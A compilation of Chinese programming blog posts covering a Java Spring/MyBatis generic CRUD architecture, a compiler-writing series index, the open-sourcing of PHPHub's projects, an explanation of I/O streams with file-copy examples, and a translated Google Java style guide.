
Mou


一款简洁强大的MarkDown可视化编辑工具.


Zoc6


一款强大的Linux SSH客户端工具.


Transmit


一款强大的Linux SFTP客户端可视化工具.


代理


云梯


强大的VPN, 连接稳定, 速度快, 价格实惠, 可做全局代理, 包括terminal.


项目


目的



	提高使用者的工作效率

	提高开发人员的开发效率



前端类库


vue.js


一个用于创建web交互界面的库, 主要用于数据双向绑定.


superagent.js


一个非常方便的客户端请求代理模块，可方便的使用get,post,put,delete,head动词, 异步回调中封装了http状态码和业务数据等等.


dropzone.js


一个强大的文件上传库, 可获取文件mime, 文件大小等; 针对图片可生成缩略图, 获取图片宽度,高度.


backgrid.js


一个强大的表格组件.


director.js


一个强大的前端路由库, 通过#符号进行路径组织, 结合vue的component可进行单页的局部模块刷新.


后端类库


spring hateoas


spring 超文本驱动库, 可根据需求返回不同的httpStatus及links.


spring framework


对架构进行分层, 目前分三层



	web接入层: 提供API接口,对前端传过来的数据进行校验, 校验未通过的话使用spring hateoas包装返回错误消息, 校验通过的话调用业务逻辑层

	业务逻辑层: 该层主要处理上层传进来的数据, 调用数据访问层进行数据持久化, 该层具有强大的扩展性;


	对于高并发写db的操作, 可集成消息队列库(如ActiveMQ)将消息发送至队列, 采用队列依次消费减轻db写负担.

	对于高并发频繁读db的操作, 可集成缓存库(如redis), 把读db的操作改为先读缓存, 未命中才去读db, 这样可大大减轻数据库读负担.

	在该层上还可以使用spring AOP对业务进行事务控制及日志记录.





	数据访问层: 该层只做一件事, 对数据库中的表记录进行增删改查, 不进行业务逻辑判断.



mybatis


一个半自动ORM(对象关系映射库)库, 简单灵活, 使用原生sql, 可完成较复杂的查询.


mybatis-generator-maven-plugin


mybatis插件, 可根据数据库中的表生成JavaBean,Dao接口,Dao的xml文件, 本人修改了部分源码, 可在JavaBean中自动添加注释, 详见另一篇博文MyBatis-Generator最佳实践.


spring security


完成用户的认证和授权.


thumbnailator(注: 需翻墙)


一个Java端的图片处理库, 可完成图片压缩, 裁剪, 水印等功能.


实战


如何提高使用者的工作效率?



	使用者看见就知道怎么使用

	为使用者自动完成部分可推导的表单填写

	拥有尽可能全的提示



如何提高开发人员的开发效率?



	技术选型时权衡考虑学习曲线与其提供的功能

	设计一套通用的可扩展的架构

	对常用操作及模块进行封装.



目前, 后端中将数据访问层和业务逻辑层中常用的方法封装成了泛型接口, 并使用抽象类来实现最基础的逻辑, 开发人员如果觉得指定方法无法满足需求, 可重写指定方法或使用新方法. 具体封装如下:



/**
 * GenericDao : 封装通用dao操作, 服务于GenericService
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public interface GenericDao<Model, PK> {

    /**
     *  插入
     *
     * @param model
     */
    int insertSelective(Model model);

    /**
     *  删除
     *
     * @param id
     */
    int deleteByPrimaryKey(PK id);

    /**
     *  更新
     *
     * @param model
     */
    int updateByPrimaryKeySelective(Model model);

    /**
     *  查询单条记录
     *
     * @param id
     */
    Model selectByPrimaryKey(PK id);

    /**
     * 分页查询
     * @param page
     * @param model
     * @return
     */
    List selectAndPage(Page<Model> page, Model model);

}




/**
 * GenericService : 所有自定义Service的顶级接口,封装常用的增删查改操作
 *
 * Model : 代表数据库中的表映射的Java对象类型
 * PK :代表对象的主键类型
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public interface GenericService<Model, PK> {

    /**
     * 分页获取集合, 带过滤功能
     * @param page 分页对象
     * @param model 分页条件, eg: model.name = "zhangsan", 对应sql语句为where name like %zhangsan%
     * @return
     */
    List getModels(Page<Model> page, Model model);

    /**
     * 新增
     * @param model
     * @return
     */
    Integer addModel(Model model);

    /**
     * 删除
     * @param id
     * @return
     */
    Integer removeModelById(PK id);

    /**
     * 修改
     * @param model
     * @return
     */
    Integer modifyModelById(Model model);

    /**
     * 根据主键id获取单条记录详情
     * @param id
     * @return
     */
    Model getModelById(PK id);

}




/**
 * GenericServiceSupport : 通用接口的实现类
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public abstract class GenericServiceSupport<Model, PK>  implements GenericService<Model, PK>{

    /**
     * 定义成抽象方法,由子类实现,完成dao的注入
     * @return
     */
    public abstract GenericDao<Model, PK> getDao();

    @Override
    public List getModels(Page<Model> page, Model model) {
        return getDao().selectAndPage(page, model);
    }

    @Override
    public Integer addModel(Model model) {
        return getDao().insertSelective(model);
    }

    @Override
    public Integer removeModelById(PK id) {
        return getDao().deleteByPrimaryKey(id);
    }

    @Override
    public Integer modifyModelById(Model model) {
        return getDao().updateByPrimaryKeySelective(model);
    }

    @Override
    public Model getModelById(PK id) {
        return getDao().selectByPrimaryKey(id);
    }
}




熟练使用该模式, 开发一套业务逻辑的增删改查, 那速度是相当快.


针对前段也做了一些组件式的封装, 表格采用backgrid.js完成展示及分页操作, 只需要在html文件指定位置写入两个带id的html元素(一个用于展示表格, 一个用于分页), 之后copy写好的js模板, 在js中修改属性便可快速完成表格异步分页.


接下来将陆续发布实战干货.
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 从零开始写个编译器吧系列

作者：MOsky泽

来源： 从零开始写个编译器吧系列



                    
是的，这个系列将呈现一个完整的编译器从无到有的过程。当然，为了保证该系列内容的简洁（也为了降低难度），仅仅保证编译器的最低要求，即仅能用。但在写这个编译器的过程中，我可不会偷工减料，该有的一定会写上的。

编译器将用于编译一门我所创的语言，暂时命名为 tao 语言。该语言是动态语言，面向对象，原型继承。支持用 lambda 表达式写函数闭包，此外，也不会出现（讨厌的）花括号。好吧，我目前脑海中这门语言的印象就是如此了。

该语言的虚拟机将运行于 JVM 之上，同时编译器将使用 Java 实现。

最后说明一下本人的情况吧。我早有写编译器的想法（之前没写过），故希望一边写编译器一边完成这个系列。一来作为学习笔记，二来公之于众以督促自己不中途偷懒。写此系列还是抱着学习的态度，虽然之后内容写得会像教程一样，但读者若有指教，请勿吝惜。不求无错，但求有所长进。



文章一览表


	从零开始写个编译器吧 - 从何处下手


	从零开始写个编译器吧 - 编译器的结构


	从零开始写个编译器吧 - 单词化简述（Tokenization）


	从零开始写个编译器吧 - tao语言的词法分析器（Tokenizer）的类型定义


	从零开始写个编译器吧 - Token.java 文件的编写


	从零开始写个编译器吧 - 词法分析器是一个状态机


	从零开始写个编译器吧 - 开始写词法分析器（1）


	从零开始写个编译器吧 - 开始写词法分析器（2）


	从零开始写个编译器吧 - 符号分析，编写 SignParser.java 文件


	从零开始写个编译器吧 - 开始写词法分析器（3）


	从零开始写个编译器吧 - Parser 语法分析器


	从零开始写个编译器吧 - 文法简介


	从零开始写个编译器吧 - LL(1)




从零开始写个编译器吧系列 - moskize 的博客




 PHPHub 所有项目正式开源! (包括 iOS, Android, Web, Server, UI)

作者：Paul_King

来源： PHPHub 所有项目正式开源! (包括 iOS, Android, Web, Server, UI)



                    
说明

趁着 团队寻找新项目 的时间空隙, 我们团队 作为练手, 为 PHPHub 做了 iOS 和 Android 客户端, 并开源, 供大家互相学习参考, 欢迎各种提 issue 和 pr ;-)

PHPHub related projects


	PHPHub-iOS by @Aufree


	PHPHub-Server by @NauxLiu


	PHPHub-Android by @Kelvin and @Xiaoxiaoyu


	PHPHub-UI by @Summer and @Aufree


	PHPHub-Web by @Summer




iOS

PHPHub for iOS 是 PHPHub 的官方 iOS 客户端, 完美适配 iPhone 和 iPad, 兼容 iOS 8, 使用了最新的 PHPHub API, 支持 APNS, 全屏广告, 扫描登录等功能, 集成了 Google Analytics, Crashlytics , JPush, UMeng 等众多第三方服务.

iPhone 预览图



iPad 预览图



中文文档: http://aufree.github.io/phphub-ios/ 
GitHub 地址: https://github.com/Aufree/phphub-ios

Android

PHPHub for Android 为 PHPHub Android 客户端, 项目采用 MVP 模式架构, RxJava 处理 API 请求返回数据, 实现了二维码扫描登录, 消息提醒, 选项卡切换等功能 



GitHub 地址: https://github.com/CycloneAxe/phphub-android

Server

PHPHub for Server 是使用 Laravel 5.1 开发的一套 PHPHub 社区的 API 接口, 遵循 Symfony 代码规范, 使用 Homestead 环境作为开发环境 

GitHub 地址: https://github.com/NauxLiu/phphub-server

Web

PHPHub 是一个用 Laravel 写的 PHP & Laravel 开发者社区, 该社区自去年 8 月份上线以来便吸引了众多 Laravel 开发者到上面参与技术讨论, 组织翻译了包括 php-the-right-way, Lumen, Laravel 等文档, 同时成为多个 Composer 安装包的首发地 



官网: https://phphub.org/ 
GitHub: https://github.com/summerblue/phphub

UI

PHPHub UI 是 PHPHub iOS 和 Android 应用的设计稿, 设计稿包括界面, Banner, 应用空视图, Apple Reviews 设计图等 





GitHub 地址: https://github.com/phphub/phphub-ui

应用下载地址


Android 下载链接: http://fir.im/phphub 

iOS 下载链接: https://itunes.apple.com/us/app/phphub-ji-ji-xiang-shang-php/id1052966564



Made With Love  By The EST Group.


 流(stream)是怎么一回事

作者：米小安

来源： 流(stream)是怎么一回事



                    
—— 对这个问题的思考来源于前几天对 Java Socket 编程的尝试，TCP 协议要求建立一个 Socket 连接（著名的三次握手）之后才能进行通信，而连接双方进行数据的发送与接受，都是通过对输入输出流的机制来完成的。

流的概念

流作为概念应该是语言无关的。文件IO流，Unix系统标准输入输出流，标准错误流(stdin, stdout, stderr)，还有一开始提到的 TCP 流，还有一些 Web 后台技术（如Nodejs）对HTTP请求/响应流的抽象，都可以见到流的概念。

K&R 在 C Programming Language 书中提到流是这样定义的：

流 (stream) 是与磁盘或其它外围设备关联的数据的源或目的地。



可以把流理解成是对程序与外界交换数据的一种抽象，这里的外界限定是有必要的，通常不会把程序内部的数据流动抽象为流，毕竟在程序内部，数据流动是由函数调用、返回来完成的。而当我们使用三个标准IO流时，我们关心的是怎样通过它们与外界交互；当我们使用文件流时，我们关心的是将内存中的数据持久化到磁盘文件中（或从磁盘中读数据导内存）。

于是数据从 A 处“流”向 B 处，可以类比像水流一样从高处流向低处。在水流动的过程中，作为最基本物理组成单位的水分子是不变的，相应的数据流也有它最小的组成单位。在不同的编程语言中，这个最小单位通常是字节流（二进制流）中的字节，或者字符流（文本流）中的字符。

——但不会是其他数据类型，就像我们从来没听说过数字流？，或者浮点数流，甚至数组流？  

因为字节是计算机保存数据的最终形式，而字符是其它数据结构序列化后的表现形式，也是人可以阅读的形式。与外界的交互需要这些通用的格式。不关心数据的内容，只需要完整地传输原始数据时，考虑字节流即可；关心传输字符和字符串时，就需要对字符流进行操作，stdio.h头文件里那一大坨输入输出函数就是干这个的。比如fgetc(FILE *stream)从文本流中读入一个字符。

另一方面，根据数据流动的方向，可以再抽象出输出流和输入流的概念。从程序内部到外部的流向是输出流，从程序外部到内部的流向是输入流。

C 语言的stdio.h库中定义了打开文件流时必须指定的集中打开方式，"r"表示用于读取，"w"用于写入，"r+"用于读写。类似地，Java 语言的java.io包中包含了InputStream, OutputStream 明确区分的输入流类和输出流类，并且二者都是抽象类，意味着必须根据需要使用它们各自的子类进行实例化。

通过流操作实现（最）简单的文件拷贝

根据实际的代码可以帮助理解stream，下面是一段用C语言标准库实现的最简单的文件拷贝功能。

出于学习目的，这段代码偷懒没有任何容错功能，是典型的反面教材, 不过 whatever 了，不信你真拿去编译一下，是真的可以完整拷贝文件！除了不能拷贝目录，不能拷贝不存在的文件，不能拷贝文件权限，不能漏掉目的文件名或者路径，不能灵活处理文件软链接硬链接。等等等等blahblah（所以其实连看上去很简单的cp程序也是要有一大坨因素要考虑和支持的（啊跑题了

// mini_cp.c
#include <stdio.h>
#define BUFFER_SIZE 512

int main(int argc, char *argv[])
{ 
  // 从命令行参数中获得 SOURCE 和 DES 文件流
  FILE *src = fopen(argv[1], "rb");
  FILE *des = fopen(argv[2], "wb");
  
  long int num;
  
  // buffer 是读写的缓冲数组
  char buffer[BUFFER_SIZE];

  while(!feof(src)) {
    num = fread(buffer, sizeof(char), BUFFER_SIZE, src);
    fwrite(buffer, sizeof(char), num, des);
  }

  fclose(src);
  fclose(des);

  return 0;
}

这个自制的mini_cp程序不难理解，核心的逻辑可以分解为三个步骤：


	打开源文件流FILE *src和目的文件流FILE *des


	循环执行 { 每次从src流读取最多512字节的数据 => 并写入des流 } 直到源文件读取结束


	关闭文件流




核心逻辑是非常清晰明了的，这样的逻辑也是流操作的普遍原理，尝试其他语言的实现，其实都已经大同小异，往往都少不了一个缓冲区的概念（或对象）。

来看一下 Java 版本的同等实现：

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;

public class Copy {
    
    private static final int BUFFER_SIZE = 512;

    public static void main(String[] args) throws IOException {
        
        File srcFile = new File(args[0]);
        File desFile = new File(args[1]);

        int recvBytesSize;
        byte[] buffer = new byte[BUFFER_SIZE];

        FileInputStream in = new FileInputStream(srcFile);
        FileOutputStream out = new FileOutputStream(desFile);

        while((recvBytesSize = in.read(buffer)) != -1) {
            out.write(buffer, 0, recvBytesSize);
        }

        in.close();
        out.close();

    }
}

面向对象味更浓（代码更冗长）了有木有？但也正是因为面向对象，Java 把理论上的 stream 抽象为类，让我们直接获得类的实例（即对象），从而对对象进行操作。还是挺不赖的是吧，虽然代码更长了没错，但是更 OO 啊～

写到这里已经能回答流基本是怎么一回事了，那么最后顺便再来放一段拷贝程序的ruby实现；

require 'fileutils'
FileUtils.cp('SOURCE.txt', 'DEST.txt')


	哈？


	嗯。




... That's why we love Ruby...（逃。。。
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前言


这份文档是Google Java编程风格规范的完整定义。当且仅当一个Java源文件符合此文档中的规则， 我们才认为它符合Google的Java编程风格。


与其它的编程风格指南一样，这里所讨论的不仅仅是编码格式美不美观的问题， 同时也讨论一些约定及编码标准。然而，这份文档主要侧重于我们所普遍遵循的规则， 对于那些不是明确强制要求的，我们尽量避免提供意见。


1.1 术语说明


在本文档中，除非另有说明：



	术语 class 可表示一个普通类，枚举类，接口或是annotation类型(@interface)

	术语 comment 只用来指代实现的注释(implementation comments)，我们不使用“documentation comments”一词，而是用 Javadoc。



其他的术语说明会偶尔在后面的文档出现。


1.2 指南说明


本文档中的示例代码并不作为规范。也就是说，虽然示例代码是遵循Google编程风格，但并不意味着这是展现这些代码的唯一方式。 示例中的格式选择不应该被强制定为规则。


源文件基础


2.1 文件名


源文件以其最顶层的类名来命名，大小写敏感，文件扩展名为.java。


2.2 文件编码：UTF-8


源文件编码格式为 UTF-8。


2.3 特殊字符


2.3.1 空白字符


除了行结束符序列，ASCII水平空格字符(0x20，即空格)是源文件中唯一允许出现的空白字符，这意味着：



	所有其它字符串中的空白字符都要进行转义。

	制表符不用于缩进。



2.3.2 特殊转义序列


对于具有特殊转义序列的任何字符(\b, \t, \n, \f, \r, \“, \‘及\)，我们使用它的转义序列，而不是相应的八进制(比如\012)或Unicode(比如\u000a)转义。


2.3.3 非ASCII字符


对于剩余的非ASCII字符，是使用实际的Unicode字符(比如∞)，还是使用等价的Unicode转义符(比如\u221e)，取决于哪个能让代码更易于阅读和理解。



  Tip:

  
  在使用Unicode转义符或是一些实际的Unicode字符时，建议做些注释给出解释，这有助于别人阅读和理解。

  例如：




javaString unitAbbrev = "μs";                                 | 赞，即使没有注释也非常清晰
String unitAbbrev = "\u03bcs"; // "μs"                    | 允许，但没有理由要这样做
String unitAbbrev = "\u03bcs"; // Greek letter mu, "s"    | 允许，但这样做显得笨拙还容易出错
String unitAbbrev = "\u03bcs";                            | 很糟，读者根本看不出这是什么
return '\ufeff' + content; // byte order mark             | Good，对于非打印字符，使用转义，并在必要时写上注释




  Tip:

  
  永远不要由于害怕某些程序可能无法正确处理非ASCII字符而让你的代码可读性变差。当程序无法正确处理非ASCII字符时，它自然无法正确运行， 你就会去fix这些问题的了。(言下之意就是大胆去用非ASCII字符，如果真的有需要的话)




源文件结构


一个源文件包含(按顺序地)：



	许可证或版权信息(如有需要)

	
package语句

	
import语句

	一个顶级类(只有一个)



以上每个部分之间用一个空行隔开。


3.1 许可证或版权信息


如果一个文件包含许可证或版权信息，那么它应当被放在文件最前面。


3.2 package语句


package 语句不换行，列限制(4.4节)并不适用于package语句。(即package语句写在一行里)


3.3 import语句


3.3.1 import不要使用通配符


即，不要出现类似这样的import语句：import java.util.*;


3.3.2 不要换行


import语句不换行，列限制(4.4节)并不适用于import语句。(每个import语句独立成行)


3.3.3 顺序和间距


import语句可分为以下几组，按照这个顺序，每组由一个空行分隔：



	所有的静态导入独立成组

	
com.google imports(仅当这个源文件是在com.google包下)

	第三方的包。每个顶级包为一组，字典序。例如：android, com, junit, org, sun


	
java imports

	
javax imports



组内不空行，按字典序排列。


3.4 类声明


3.4.1 只有一个顶级类声明


每个顶级类都在一个与它同名的源文件中(当然，还包含.java后缀)。


例外：package-info.java，该文件中可没有package-info类。


3.4.2 类成员顺序


类的成员顺序对易学性有很大的影响，但这也不存在唯一的通用法则。不同的类对成员的排序可能是不同的。 最重要的一点，每个类应该以某种逻辑去排序它的成员，维护者应该要能解释这种排序逻辑。比如， 新的方法不能总是习惯性地添加到类的结尾，因为这样就是按时间顺序而非某种逻辑来排序的。


3.4.2.1 重载：永不分离


当一个类有多个构造函数，或是多个同名方法，这些函数/方法应该按顺序出现在一起，中间不要放进其它函数/方法。


格式


术语说明：块状结构(block-like construct)指的是一个类，方法或构造函数的主体。需要注意的是，数组初始化中的初始值可被选择性地视为块状结构(4.8.3.1节)。


4.1 大括号


4.1.1 使用大括号(即使是可选的)


大括号与if, else, for, do, while语句一起使用，即使只有一条语句(或是空)，也应该把大括号写上。


4.1.2 非空块：K & R 风格


对于非空块和块状结构，大括号遵循Kernighan和Ritchie风格 (Egyptian brackets):



	左大括号前不换行

	左大括号后换行

	右大括号前换行

	如果右大括号是一个语句、函数体或类的终止，则右大括号后换行; 否则不换行。例如，如果右大括号后面是else或逗号，则不换行。



示例：


javareturn new MyClass() {
  @Override public void method() {
    if (condition()) {
      try {
        something();
      } catch (ProblemException e) {
        recover();
      }
    }
  }
};



4.8.1节给出了enum类的一些例外。


4.1.3 空块：可以用简洁版本


一个空的块状结构里什么也不包含，大括号可以简洁地写成{}，不需要换行。例外：如果它是一个多块语句的一部分(if/else 或 try/catch/finally) ，即使大括号内没内容，右大括号也要换行。


示例：


void doNothing() {}



4.2 块缩进：2个空格


每当开始一个新的块，缩进增加2个空格，当块结束时，缩进返回先前的缩进级别。缩进级别适用于代码和注释。(见4.1.2节中的代码示例)


4.3 一行一个语句


每个语句后要换行。


4.4 列限制：80或100


一个项目可以选择一行80个字符或100个字符的列限制，除了下述例外，任何一行如果超过这个字符数限制，必须自动换行。


例外：



	不可能满足列限制的行(例如，Javadoc中的一个长URL，或是一个长的JSNI方法参考)。

	
package和import语句(见3.2节和3.3节)。

	注释中那些可能被剪切并粘贴到shell中的命令行。



4.5 自动换行


术语说明：一般情况下，一行长代码为了避免超出列限制(80或100个字符)而被分为多行，我们称之为自动换行(line-wrapping)。


我们并没有全面，确定性的准则来决定在每一种情况下如何自动换行。很多时候，对于同一段代码会有好几种有效的自动换行方式。



  Tip:

  
  提取方法或局部变量可以在不换行的情况下解决代码过长的问题(是合理缩短命名长度吧)




4.5.1 从哪里断开


自动换行的基本准则是：更倾向于在更高的语法级别处断开。



	如果在非赋值运算符处断开，那么在该符号前断开(比如+，它将位于下一行)。注意：这一点与Google其它语言的编程风格不同(如C++和JavaScript)。 这条规则也适用于以下“类运算符”符号：点分隔符(.)，类型界限中的&（<T extends Foo & Bar>)，catch块中的管道符号(catch (FooException | BarException e)

	如果在赋值运算符处断开，通常的做法是在该符号后断开(比如=，它与前面的内容留在同一行)。这条规则也适用于foreach语句中的分号。

	方法名或构造函数名与左括号留在同一行。

	逗号(,)与其前面的内容留在同一行。



4.5.2 自动换行时缩进至少+4个空格


自动换行时，第一行后的每一行至少比第一行多缩进4个空格(注意：制表符不用于缩进。见2.3.1节)。


当存在连续自动换行时，缩进可能会多缩进不只4个空格(语法元素存在多级时)。一般而言，两个连续行使用相同的缩进当且仅当它们开始于同级语法元素。


第4.6.3水平对齐一节中指出，不鼓励使用可变数目的空格来对齐前面行的符号。


4.6 空白


4.6.1 垂直空白


以下情况需要使用一个空行：



	类内连续的成员之间：字段，构造函数，方法，嵌套类，静态初始化块，实例初始化块。

> 例外： 两个连续字段之间的空行是可选的，用于字段的空行主要用来对字段进行逻辑分组。

	在函数体内，语句的逻辑分组间使用空行。

	类内的第一个成员前或最后一个成员后的空行是可选的(既不鼓励也不反对这样做，视个人喜好而定)。

	要满足本文档中其他节的空行要求(比如3.3节：import语句)

	多个连续的空行是允许的，但没有必要这样做(我们也不鼓励这样做)。



4.6.2 水平空白


除了语言需求和其它规则，并且除了文字，注释和Javadoc用到单个空格，单个ASCII空格也出现在以下几个地方：



	分隔任何保留字与紧随其后的左括号(()(如if, for catch等)。

	分隔任何保留字与其前面的右大括号(})(如else, catch)。

	在任何左大括号前({)，两个例外：


	
@SomeAnnotation({a, b})(不使用空格)。

	
String[][] x = foo;(大括号间没有空格，见下面的Note)。





	在任何二元或三元运算符的两侧。这也适用于以下“类运算符”符号：


	类型界限中的&(<T extends Foo & Bar>)。

	catch块中的管道符号(catch (FooException | BarException e)。

	
foreach语句中的分号。





	在, : ;及右括号())后

	如果在一条语句后做注释，则双斜杠(//)两边都要空格。这里可以允许多个空格，但没有必要。

	类型和变量之间：List list。

	数组初始化中，大括号内的空格是可选的，即new int[] {5, 6}和new int[] { 5, 6 }都是可以的。




  Note：这个规则并不要求或禁止一行的开关或结尾需要额外的空格，只对内部空格做要求。




4.6.3 水平对齐：不做要求


术语说明：水平对齐指的是通过增加可变数量的空格来使某一行的字符与上一行的相应字符对齐。


这是允许的(而且在不少地方可以看到这样的代码)，但Google编程风格对此不做要求。即使对于已经使用水平对齐的代码，我们也不需要去保持这种风格。


以下示例先展示未对齐的代码，然后是对齐的代码：


javaprivate int x; // this is fine
private Color color; // this too

private int   x;      // permitted, but future edits
private Color color;  // may leave it unaligned




  Tip：

  
  对齐可增加代码可读性，但它为日后的维护带来问题。考虑未来某个时候，我们需要修改一堆对齐的代码中的一行。 这可能导致原本很漂亮的对齐代码变得错位。很可能它会提示你调整周围代码的空白来使这一堆代码重新水平对齐(比如程序员想保持这种水平对齐的风格)， 这就会让你做许多的无用功，增加了reviewer的工作并且可能导致更多的合并冲突。




4.7 用小括号来限定组：推荐


除非作者和reviewer都认为去掉小括号也不会使代码被误解，或是去掉小括号能让代码更易于阅读，否则我们不应该去掉小括号。 我们没有理由假设读者能记住整个Java运算符优先级表。


4.8 具体结构


4.8.1 枚举类


枚举常量间用逗号隔开，换行可选。


没有方法和文档的枚举类可写成数组初始化的格式：


private enum Suit { CLUBS, HEARTS, SPADES, DIAMONDS }



由于枚举类也是一个类，因此所有适用于其它类的格式规则也适用于枚举类。


4.8.2 变量声明


4.8.2.1 每次只声明一个变量


不要使用组合声明，比如int a, b;。


4.8.2.2 需要时才声明，并尽快进行初始化


不要在一个代码块的开头把局部变量一次性都声明了(这是c语言的做法)，而是在第一次需要使用它时才声明。 局部变量在声明时最好就进行初始化，或者声明后尽快进行初始化。


4.8.3 数组


4.8.3.1 数组初始化：可写成块状结构


数组初始化可以写成块状结构，比如，下面的写法都是OK的：


javanew int[] {
  0, 1, 2, 3 
}

new int[] {
  0,
  1,
  2,
  3
}

new int[] {
  0, 1,
  2, 3
}

new int[]
    {0, 1, 2, 3}



4.8.3.2 非C风格的数组声明


中括号是类型的一部分：String[] args， 而非String args[]。


4.8.4 switch语句


术语说明：switch块的大括号内是一个或多个语句组。每个语句组包含一个或多个switch标签(case FOO:或default:)，后面跟着一条或多条语句。


4.8.4.1 缩进


与其它块状结构一致，switch块中的内容缩进为2个空格。


每个switch标签后新起一行，再缩进2个空格，写下一条或多条语句。


4.8.4.2 Fall-through：注释


在一个switch块内，每个语句组要么通过break, continue, return或抛出异常来终止，要么通过一条注释来说明程序将继续执行到下一个语句组， 任何能表达这个意思的注释都是OK的(典型的是用// fall through)。这个特殊的注释并不需要在最后一个语句组(一般是default)中出现。示例：


javaswitch (input) {
  case 1:
  case 2:
    prepareOneOrTwo();
    // fall through
  case 3:
    handleOneTwoOrThree();
    break;
  default:
    handleLargeNumber(input);
}



4.8.4.3 default的情况要写出来


每个switch语句都包含一个default语句组，即使它什么代码也不包含。


4.8.5 注解(Annotations)


注解紧跟在文档块后面，应用于类、方法和构造函数，一个注解独占一行。这些换行不属于自动换行(第4.5节，自动换行)，因此缩进级别不变。例如：


java@Override
@Nullable
public String getNameIfPresent() { ... }



例外：单个的注解可以和签名的第一行出现在同一行。例如：


@Override public int hashCode() { ... }



应用于字段的注解紧随文档块出现，应用于字段的多个注解允许与字段出现在同一行。例如：


@Partial @Mock DataLoader loader;



参数和局部变量注解没有特定规则。


4.8.6 注释


4.8.6.1 块注释风格


块注释与其周围的代码在同一缩进级别。它们可以是/* ... */风格，也可以是// ...风格。对于多行的/* ... */注释，后续行必须从*开始， 并且与前一行的*对齐。以下示例注释都是OK的。


java/*
 * This is          // And so           /* Or you can
 * okay.            // is this.          * even do this. */
 */



注释不要封闭在由星号或其它字符绘制的框架里。



  Tip：

  
  在写多行注释时，如果你希望在必要时能重新换行(即注释像段落风格一样)，那么使用/* ... */。




4.8.7 Modifiers


类和成员的modifiers如果存在，则按Java语言规范中推荐的顺序出现。


public protected private abstract static final transient volatile synchronized native strictfp



命名约定


5.1 对所有标识符都通用的规则


标识符只能使用ASCII字母和数字，因此每个有效的标识符名称都能匹配正则表达式\w+。


在Google其它编程语言风格中使用的特殊前缀或后缀，如name_, mName, s_name和kName，在Java编程风格中都不再使用。


5.2 标识符类型的规则


5.2.1 包名


包名全部小写，连续的单词只是简单地连接起来，不使用下划线。


5.2.2 类名


类名都以UpperCamelCase风格编写。


类名通常是名词或名词短语，接口名称有时可能是形容词或形容词短语。现在还没有特定的规则或行之有效的约定来命名注解类型。


测试类的命名以它要测试的类的名称开始，以Test结束。例如，HashTest或HashIntegrationTest。


5.2.3 方法名


方法名都以lowerCamelCase风格编写。


方法名通常是动词或动词短语。


下划线可能出现在JUnit测试方法名称中用以分隔名称的逻辑组件。一个典型的模式是：test<MethodUnderTest>_<state>，例如testPop_emptyStack。 并不存在唯一正确的方式来命名测试方法。


5.2.4 常量名


常量名命名模式为CONSTANT_CASE，全部字母大写，用下划线分隔单词。那，到底什么算是一个常量？


每个常量都是一个静态final字段，但不是所有静态final字段都是常量。在决定一个字段是否是一个常量时， 考虑它是否真的感觉像是一个常量。例如，如果任何一个该实例的观测状态是可变的，则它几乎肯定不会是一个常量。 只是永远不打算改变对象一般是不够的，它要真的一直不变才能将它示为常量。


java// Constants
static final int NUMBER = 5;
static final ImmutableList<String> NAMES = ImmutableList.of("Ed", "Ann");
static final Joiner COMMA_JOINER = Joiner.on(',');  // because Joiner is immutable
static final SomeMutableType[] EMPTY_ARRAY = {};
enum SomeEnum { ENUM_CONSTANT }

// Not constants
static String nonFinal = "non-final";
final String nonStatic = "non-static";
static final Set<String> mutableCollection = new HashSet<String>();
static final ImmutableSet<SomeMutableType> mutableElements = ImmutableSet.of(mutable);
static final Logger logger = Logger.getLogger(MyClass.getName());
static final String[] nonEmptyArray = {"these", "can", "change"};



这些名字通常是名词或名词短语。


5.2.5 非常量字段名


非常量字段名以lowerCamelCase风格编写。


这些名字通常是名词或名词短语。


5.2.6 参数名


参数名以lowerCamelCase风格编写。


参数应该避免用单个字符命名。


5.2.7 局部变量名


局部变量名以lowerCamelCase风格编写，比起其它类型的名称，局部变量名可以有更为宽松的缩写。


虽然缩写更宽松，但还是要避免用单字符进行命名，除了临时变量和循环变量。


即使局部变量是final和不可改变的，也不应该把它示为常量，自然也不能用常量的规则去命名它。


5.2.8 类型变量名


类型变量可用以下两种风格之一进行命名：



	单个的大写字母，后面可以跟一个数字(如：E, T, X, T2)。

	以类命名方式(5.2.2节)，后面加个大写的T(如：RequestT, FooBarT)。



5.3 驼峰式命名法(CamelCase)


驼峰式命名法 分大驼峰式命名法(UpperCamelCase)和小驼峰式命名法(lowerCamelCase)。 有时，我们有不只一种合理的方式将一个英语词组转换成驼峰形式，如缩略语或不寻常的结构(例如"IPv6"或"iOS")。Google指定了以下的转换方案。


名字从散文形式(prose form)开始:



	把短语转换为纯ASCII码，并且移除任何单引号。例如："Müller’s algorithm"将变成"Muellers algorithm"。

	
把这个结果切分成单词，在空格或其它标点符号(通常是连字符)处分割开。


推荐：如果某个单词已经有了常用的驼峰表示形式，按它的组成将它分割开(如"AdWords"将分割成"ad words")。 需要注意的是"iOS"并不是一个真正的驼峰表示形式，因此该推荐对它并不适用。



	现在将所有字母都小写(包括缩写)，然后将单词的第一个字母大写：


	每个单词的第一个字母都大写，来得到大驼峰式命名。

	除了第一个单词，每个单词的第一个字母都大写，来得到小驼峰式命名。





	最后将所有的单词连接起来得到一个标识符。



示例：


javaProse form                Correct               Incorrect
------------------------------------------------------------------
"XML HTTP request"        XmlHttpRequest        XMLHTTPRequest
"new customer ID"         newCustomerId         newCustomerID
"inner stopwatch"         innerStopwatch        innerStopWatch
"supports IPv6 on iOS?"   supportsIpv6OnIos     supportsIPv6OnIOS
"YouTube importer"        YouTubeImporter
                          YoutubeImporter*



加星号处表示可以，但不推荐。



  Note：在英语中，某些带有连字符的单词形式不唯一。例如："nonempty"和"non-empty"都是正确的，因此方法名checkNonempty和checkNonEmpty也都是正确的。




编程实践


6.1 @Override：能用则用


只要是合法的，就把@Override注解给用上。


6.2 捕获的异常：不能忽视


除了下面的例子，对捕获的异常不做响应是极少正确的。(典型的响应方式是打印日志，或者如果它被认为是不可能的，则把它当作一个AssertionError重新抛出。)


如果它确实是不需要在catch块中做任何响应，需要做注释加以说明(如下面的例子)。


javatry {
  int i = Integer.parseInt(response);
  return handleNumericResponse(i);
} catch (NumberFormatException ok) {
  // it's not numeric; that's fine, just continue
}

return handleTextResponse(response);



